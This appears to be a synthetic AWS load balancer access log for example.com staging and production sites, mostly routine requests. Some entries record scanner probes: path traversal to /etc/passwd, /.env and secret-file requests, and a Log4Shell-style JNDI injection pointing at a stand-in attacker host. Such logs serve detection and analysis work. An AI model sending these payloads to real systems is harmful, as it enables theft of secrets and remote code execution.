"staging-alb.example.com" "-" 4 2024-11-01T02:45:34.715062Z "forward" "-" "-" "189.104.106.183:443" "200" "-" "-" -http 2024-11-01T02:45:36.369387Z staging-alb 11.68.138.233:52105 149.63.254.105:80 0.099486 0.000564 0.094309 200 200 4 9876 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de60-19738ac4c39041e880c263ac" "staging-alb.example.com" "-" 8 2024-11-01T02:45:36.369387Z "forward" "-" "-" "149.63.254.105:80" "200" "-" "-" -https 2024-11-01T02:45:36.844469Z staging-alb 110.114.206.178:62466 255.70.76.176:8080 0.135666 0.609731 0.045597 301 301 659 3465 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de60-121b96d650ee437aa286c738" "staging-alb.example.com" "-" 5 2024-11-01T02:45:36.844469Z "forward" "-" "-" "255.70.76.176:8080" "301" "-" "-" -https 2024-11-01T02:45:38.476988Z prod-api-alb 203.76.177.116:13320 10.0.171.248:443 0.067206 0.099224 0.088158 404 404 331 5773 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de62-b608b628e09742e6b1993c04" "prod-api-alb.example.com" "-" 9 2024-11-01T02:45:38.476988Z "forward" "-" "-" "10.0.171.248:443" "404" "-" "-" -https 2024-11-01T02:45:38.686043Z prod-web-alb 85.131.61.183:16914 10.0.200.48:443 0.039987 0.451607 0.013017 404 404 260 5047 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de62-d9ddc433d0cf47648591511f" "prod-web-alb.example.com" "-" 4 2024-11-01T02:45:38.686043Z "forward" "-" "-" "10.0.200.48:443" "404" "-" "-" -http 2024-11-01T02:45:40.035503Z staging-alb 45.155.205.47:47528 121.251.108.237:80 0.051245 0.285914 0.142627 403 403 165 1211 "POST /administrator HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de64-d6bc2798ce5245e5ad770456" "-" "-" 9 2024-11-01T02:45:40.035503Z "forward" "-" "-" "121.251.108.237:80" "403" "-" "-" -http 2024-11-01T02:45:41.811172Z staging-alb 221.2.177.62:48942 141.136.255.176:8080 0.051257 0.122645 0.077379 200 200 300 2871 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de65-fb829236e68a4cbcbb961f67" "staging-alb.example.com" "-" 2 2024-11-01T02:45:41.811172Z "forward" "-" "-" "141.136.255.176:8080" "200" "-" "-" -https 2024-11-01T02:45:43.480052Z prod-api-alb 223.184.140.96:28122 10.0.62.5:443 0.055384 0.306776 0.058301 200 200 61 3293 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de67-dcb105c9fdfc432793e6d860" "-" "-" 1 2024-11-01T02:45:43.480052Z "forward" "-" "-" "10.0.62.5:443" "200" "-" "-" -https 2024-11-01T02:45:44.453652Z staging-alb 215.233.160.50:37267 204.204.231.110:443 0.060036 0.557370 0.041357 301 301 433 1736 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de68-6a92a286812048169f038eb2" "staging-alb.example.com" "-" 8 2024-11-01T02:45:44.453652Z "forward" "-" "-" "204.204.231.110:443" "301" "-" "-" -https 2024-11-01T02:45:45.354310Z prod-api-alb 185.181.67.46:26404 10.0.242.74:443 0.030511 0.464938 0.022330 404 404 895 625 "GET /../../../etc/passwd HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de69-006aa09c189041559bd2e2d6" "-" "-" 10 2024-11-01T02:45:45.354310Z "forward" "-" "-" "10.0.242.74:443" "404" "-" "-" -https 2024-11-01T02:45:45.457428Z prod-api-alb 177.224.118.208:46913 10.0.32.103:443 0.091146 0.385340 0.043638 200 200 864 10292 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de69-80a3abda5dfb47bd91d1825b" "prod-api-alb.example.com" "-" 7 2024-11-01T02:45:45.457428Z "forward" "-" "-" "10.0.32.103:443" "200" "-" "-" -https 2024-11-01T02:45:47.313864Z prod-web-alb 38.22.62.198:63786 10.0.3.232:443 0.002625 0.247134 0.075146 404 404 782 9076 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de6b-0d43fc08688847b9be150cd9" "prod-web-alb.example.com" "-" 8 2024-11-01T02:45:47.313864Z "forward" "-" "-" "10.0.3.232:443" "404" "-" "-" -https 2024-11-01T02:45:47.548279Z prod-web-alb 157.81.150.112:17367 10.0.138.147:443 0.078235 0.295104 0.050516 302 302 417 14318 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de6b-32554b6890ef4117b93c3a57" "prod-web-alb.example.com" "-" 3 2024-11-01T02:45:47.548279Z "forward" "-" "-" "10.0.138.147:443" "302" "-" "-" -https 2024-11-01T02:45:49.281287Z staging-alb 45.162.2.120:29005 245.67.209.191:443 0.143631 0.052445 0.121700 200 200 21 8378 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de6d-fad627c9ec244f79b091ea37" "staging-alb.example.com" "-" 1 2024-11-01T02:45:49.281287Z "forward" "-" "-" "245.67.209.191:443" "200" "-" "-" -https 2024-11-01T02:45:50.366507Z prod-api-alb 88.239.244.85:13158 10.0.1.134:443 0.073712 0.399126 0.030746 200 200 97 4284 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de6e-2c3cd19b8f024e618fb036f3" "prod-api-alb.example.com" "-" 8 2024-11-01T02:45:50.366507Z "forward" "-" "-" "10.0.1.134:443" "200" "-" "-" -https 2024-11-01T02:45:52.004503Z staging-alb 187.207.157.136:34123 0.91.98.76:80 0.086707 0.381906 0.087826 200 200 98 2960 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de70-f5500b70b29d4163be93185e" "staging-alb.example.com" "-" 6 2024-11-01T02:45:52.004503Z "forward" "-" "-" "0.91.98.76:80" "200" "-" "-" -http 2024-11-01T02:45:53.623867Z staging-alb 20.135.220.156:46966 0.133.231.107:8080 0.100743 0.691393 0.042335 200 200 169 5897 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de71-60643ecba2b44dfeb148cffc" "staging-alb.example.com" "-" 0 2024-11-01T02:45:53.623867Z "forward" "-" "-" "0.133.231.107:8080" "200" "-" "-" -https 2024-11-01T02:45:53.726765Z staging-alb 35.82.101.204:17965 232.46.19.0:443 0.040718 0.658002 0.086318 302 302 212 2277 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de71-4a927124bac748b69a1031b5" "staging-alb.example.com" "-" 6 2024-11-01T02:45:53.726765Z "forward" "-" "-" "232.46.19.0:443" "302" "-" "-" -https 2024-11-01T02:45:54.889549Z prod-api-alb 41.170.197.200:15135 10.0.183.8:443 0.083658 0.467867 0.003431 301 301 411 10951 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de72-ad88c604a71d49499466427e" "prod-api-alb.example.com" "-" 9 2024-11-01T02:45:54.889549Z "forward" "-" "-" "10.0.183.8:443" "301" "-" "-" -https 2024-11-01T02:45:55.380733Z prod-web-alb 220.228.4.86:47426 10.0.150.187:443 0.037966 0.012868 0.033521 200 200 757 8908 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de73-3384b190108149a286cee967" "prod-web-alb.example.com" "-" 3 2024-11-01T02:45:55.380733Z "forward" "-" "-" "10.0.150.187:443" "200" "-" "-" -https 2024-11-01T02:45:57.226588Z prod-web-alb 178.150.123.63:46178 10.0.17.254:443 0.087692 0.326980 0.062891 200 200 240 5811 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de75-4bba5cb20d6943b18f1d5f39" "prod-web-alb.example.com" "-" 3 2024-11-01T02:45:57.226588Z "forward" "-" "-" "10.0.17.254:443" "200" "-" "-" -https 2024-11-01T02:45:58.326258Z prod-web-alb 193.27.228.247:15896 10.0.229.38:443 0.089903 0.311421 0.041619 302 302 539 2020 "GET /.env HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de76-f2916ea5259d4aab8ad26af1" "-" "-" 10 2024-11-01T02:45:58.326258Z "forward" "-" "-" "10.0.229.38:443" "302" "-" "-" -https 2024-11-01T02:45:58.637233Z staging-alb 56.244.241.169:31266 26.43.216.247:80 0.067703 0.267884 0.140171 200 200 224 10736 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de76-e23799cec901435b9c767ad0" "staging-alb.example.com" "-" 9 2024-11-01T02:45:58.637233Z "forward" "-" "-" "26.43.216.247:80" "200" "-" "-" -http 2024-11-01T02:45:59.845977Z staging-alb 171.166.61.55:16666 136.218.89.209:443 0.043794 0.408009 0.131355 200 200 4 4274 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de77-16ee76f6fffc4f15bbbcc753" "staging-alb.example.com" "-" 8 2024-11-01T02:45:59.845977Z "forward" "-" "-" "136.218.89.209:443" "200" "-" "-" -https 2024-11-01T02:46:01.303282Z prod-web-alb 139.201.34.188:57352 10.0.105.144:443 0.014910 0.003632 0.009392 301 301 681 7078 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de79-14715a677fe94745a212e570" "prod-web-alb.example.com" "-" 0 2024-11-01T02:46:01.303282Z "forward" "-" "-" "10.0.105.144:443" "301" "-" "-" -http 2024-11-01T02:46:03.190379Z staging-alb 88.160.136.142:59168 35.34.191.182:80 0.088621 0.503864 0.054581 200 200 77 11339 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de7b-01e71bc0405b4299b88d06cb" "staging-alb.example.com" "-" 9 2024-11-01T02:46:03.190379Z "forward" "-" "-" "35.34.191.182:80" "200" "-" "-" -https 2024-11-01T02:46:04.989004Z prod-api-alb 224.203.142.55:42914 10.0.169.7:443 0.079852 0.201576 0.098295 200 200 543 4279 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de7c-62fd818d425c48e698d85530" "prod-api-alb.example.com" "-" 1 2024-11-01T02:46:04.989004Z "forward" "-" "-" "10.0.169.7:443" "200" "-" "-" -https 2024-11-01T02:46:06.520918Z prod-web-alb 54.150.224.160:63107 10.0.224.115:443 0.053363 0.189214 0.091860 200 200 432 4069 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de7e-60bc1544c5644a72ba030894" "prod-web-alb.example.com" "-" 6 2024-11-01T02:46:06.520918Z "forward" "-" "-" "10.0.224.115:443" "200" "-" "-" -http 2024-11-01T02:46:07.256456Z staging-alb 166.107.116.5:40701 32.183.84.110:80 0.142659 0.113843 0.055423 404 404 443 11129 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de7f-870ba7d8dc8d4508afa3c82b" "staging-alb.example.com" "-" 7 2024-11-01T02:46:07.256456Z "forward" "-" "-" "32.183.84.110:80" "404" "-" "-" -https 2024-11-01T02:46:07.787195Z prod-web-alb 193.27.228.98:23171 10.0.147.238:443 0.028074 0.158443 0.042773 403 403 388 818 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de7f-c308deca7f4a47ed96414b0b" "-" "-" 5 2024-11-01T02:46:07.787195Z "forward" "-" "-" "10.0.147.238:443" "403" "-" "-" -https 2024-11-01T02:46:08.653946Z prod-web-alb 13.144.213.20:61793 10.0.218.35:443 0.026990 0.095892 0.062292 200 200 665 13027 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de80-7206f1fe2b9643c3a3b3e04c" "prod-web-alb.example.com" "-" 1 2024-11-01T02:46:08.653946Z "forward" "-" "-" "10.0.218.35:443" "200" "-" "-" -https 2024-11-01T02:46:09.366074Z prod-web-alb 96.199.115.87:59470 10.0.63.216:443 0.026098 0.029369 0.016028 302 302 859 7167 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de81-f60f917d1a854e12a035d982" "prod-web-alb.example.com" "-" 0 2024-11-01T02:46:09.366074Z "forward" "-" "-" "10.0.63.216:443" "302" "-" "-" -https 2024-11-01T02:46:10.489482Z prod-api-alb 198.7.136.91:47768 10.0.194.179:443 0.002393 0.390681 0.023471 301 301 314 11048 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de82-e1cbb2b52ed64e80b374da57" "prod-api-alb.example.com" "-" 3 2024-11-01T02:46:10.489482Z "forward" "-" "-" "10.0.194.179:443" "301" "-" "-" -https 2024-11-01T02:46:11.831092Z prod-web-alb 129.203.29.249:13936 10.0.111.64:443 0.002238 0.198730 0.030204 200 200 952 8157 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de83-ddf29c31475444c5b37c3644" "prod-web-alb.example.com" "-" 4 2024-11-01T02:46:11.831092Z "forward" "-" "-" "10.0.111.64:443" "200" "-" "-" -https 2024-11-01T02:46:12.882039Z prod-web-alb 87.153.14.225:31960 10.0.86.68:443 0.013671 0.050175 0.010593 200 200 426 2914 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de84-8ccf466ed69b42b0ac9acc9c" "prod-web-alb.example.com" "-" 5 2024-11-01T02:46:12.882039Z "forward" "-" "-" "10.0.86.68:443" "200" "-" "-" -http 2024-11-01T02:46:13.553942Z staging-alb 26.125.150.16:58950 13.149.168.31:80 0.126642 0.120163 0.075413 200 200 56 13415 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de85-9929e91c89b44be0b727d08b" "staging-alb.example.com" "-" 1 2024-11-01T02:46:13.553942Z "forward" "-" "-" "13.149.168.31:80" "200" "-" "-" -https 2024-11-01T02:46:14.768328Z staging-alb 113.136.25.206:47481 7.114.162.83:443 0.069407 0.295797 0.038219 200 200 190 8460 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de86-d31603f3c4ff41f497e25893" "staging-alb.example.com" "-" 5 2024-11-01T02:46:14.768328Z "forward" "-" "-" "7.114.162.83:443" "200" "-" "-" -https 2024-11-01T02:46:16.230995Z prod-web-alb 183.201.67.32:31029 10.0.196.201:443 0.052542 0.071269 0.021302 301 301 711 5996 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de88-290eb540ddd343409a54491d" "prod-web-alb.example.com" "-" 5 2024-11-01T02:46:16.230995Z "forward" "-" "-" "10.0.196.201:443" "301" "-" "-" -https 2024-11-01T02:46:16.437802Z prod-web-alb 94.212.188.151:55884 10.0.200.93:443 0.099286 0.382086 0.064348 200 200 354 11299 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de88-4c294df0df4b4ae2a12b3914" "prod-web-alb.example.com" "-" 5 2024-11-01T02:46:16.437802Z "forward" "-" "-" "10.0.200.93:443" "200" "-" "-" -http 2024-11-01T02:46:17.877845Z staging-alb 193.27.228.212:30911 189.106.47.14:80 0.086344 0.377747 0.004953 404 404 391 7600 "GET /metrics HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de89-dfb86f73e4a54b61a7dc56b9" "-" "-" 10 2024-11-01T02:46:17.877845Z "forward" "-" "-" "189.106.47.14:80" "404" "-" "-" -https 2024-11-01T02:46:18.096520Z prod-web-alb 73.224.28.18:36473 10.0.247.96:443 0.001508 0.025117 0.065254 302 302 943 14393 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de8a-8e238edff718409bbc86f0d1" "prod-web-alb.example.com" "-" 4 2024-11-01T02:46:18.096520Z "forward" "-" "-" "10.0.247.96:443" "302" "-" "-" -http 2024-11-01T02:46:18.329535Z staging-alb 45.155.205.234:24249 174.147.126.162:8080 0.097021 0.482598 0.027534 403 403 257 9623 "GET /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de8a-8a40d370dc594cf39b13b806" "-" "-" 6 2024-11-01T02:46:18.329535Z "forward" "-" "-" "174.147.126.162:8080" "403" "-" "-" -https 2024-11-01T02:46:18.805313Z prod-api-alb 13.218.58.255:30060 10.0.208.107:443 0.079828 0.023678 0.088439 200 200 271 688 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de8a-b4b91718f03e465999cf06d7" "prod-api-alb.example.com" "-" 8 2024-11-01T02:46:18.805313Z "forward" "-" "-" "10.0.208.107:443" "200" "-" "-" -https 2024-11-01T02:46:20.414492Z prod-api-alb 152.37.11.91:45964 10.0.186.145:443 0.047499 0.448860 0.093173 200 200 514 12876 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de8c-97690f79fdce49ddac0bbebc" "prod-api-alb.example.com" "-" 7 2024-11-01T02:46:20.414492Z "forward" "-" "-" "10.0.186.145:443" "200" "-" "-" -https 2024-11-01T02:46:20.942617Z prod-web-alb 147.114.18.39:13430 10.0.110.164:443 0.044599 0.039242 0.025312 404 404 562 3326 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de8c-5fa5a82c5fc54125be6be717" "prod-web-alb.example.com" "-" 9 2024-11-01T02:46:20.942617Z "forward" "-" "-" "10.0.110.164:443" "404" "-" "-" -https 2024-11-01T02:46:22.387441Z prod-web-alb 45.155.205.86:54072 10.0.131.188:443 0.001847 0.239523 0.094617 403 403 697 4252 "GET /static/../../secret HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de8e-353137d99aa84661880b852d" "-" "-" 8 2024-11-01T02:46:22.387441Z "forward" "-" "-" "10.0.131.188:443" "403" "-" "-" -https 2024-11-01T02:46:22.722165Z prod-web-alb 174.73.205.43:27864 10.0.63.130:443 0.079582 0.420498 0.099850 200 200 257 3994 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de8e-23f422c6196d4df7b93cdc7b" "prod-web-alb.example.com" "-" 5 2024-11-01T02:46:22.722165Z "forward" "-" "-" "10.0.63.130:443" "200" "-" "-" -http 2024-11-01T02:46:24.128248Z staging-alb 161.19.4.253:41776 42.37.23.85:8080 0.005388 0.571513 0.111187 200 200 845 3139 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de90-a0d61639a27c4221bbd01937" "staging-alb.example.com" "-" 0 2024-11-01T02:46:24.128248Z "forward" "-" "-" "42.37.23.85:8080" "200" "-" "-" -https 2024-11-01T02:46:25.804061Z staging-alb 35.116.77.129:58766 136.104.122.60:80 0.116312 0.451322 0.093947 200 200 948 4385 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de91-440662161d774addb48d8b4d" "staging-alb.example.com" "-" 3 2024-11-01T02:46:25.804061Z "forward" "-" "-" "136.104.122.60:80" "200" "-" "-" -https 2024-11-01T02:46:26.625772Z staging-alb 174.72.172.157:59301 163.245.199.64:8080 0.134190 0.038144 0.096609 200 200 823 6802 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a 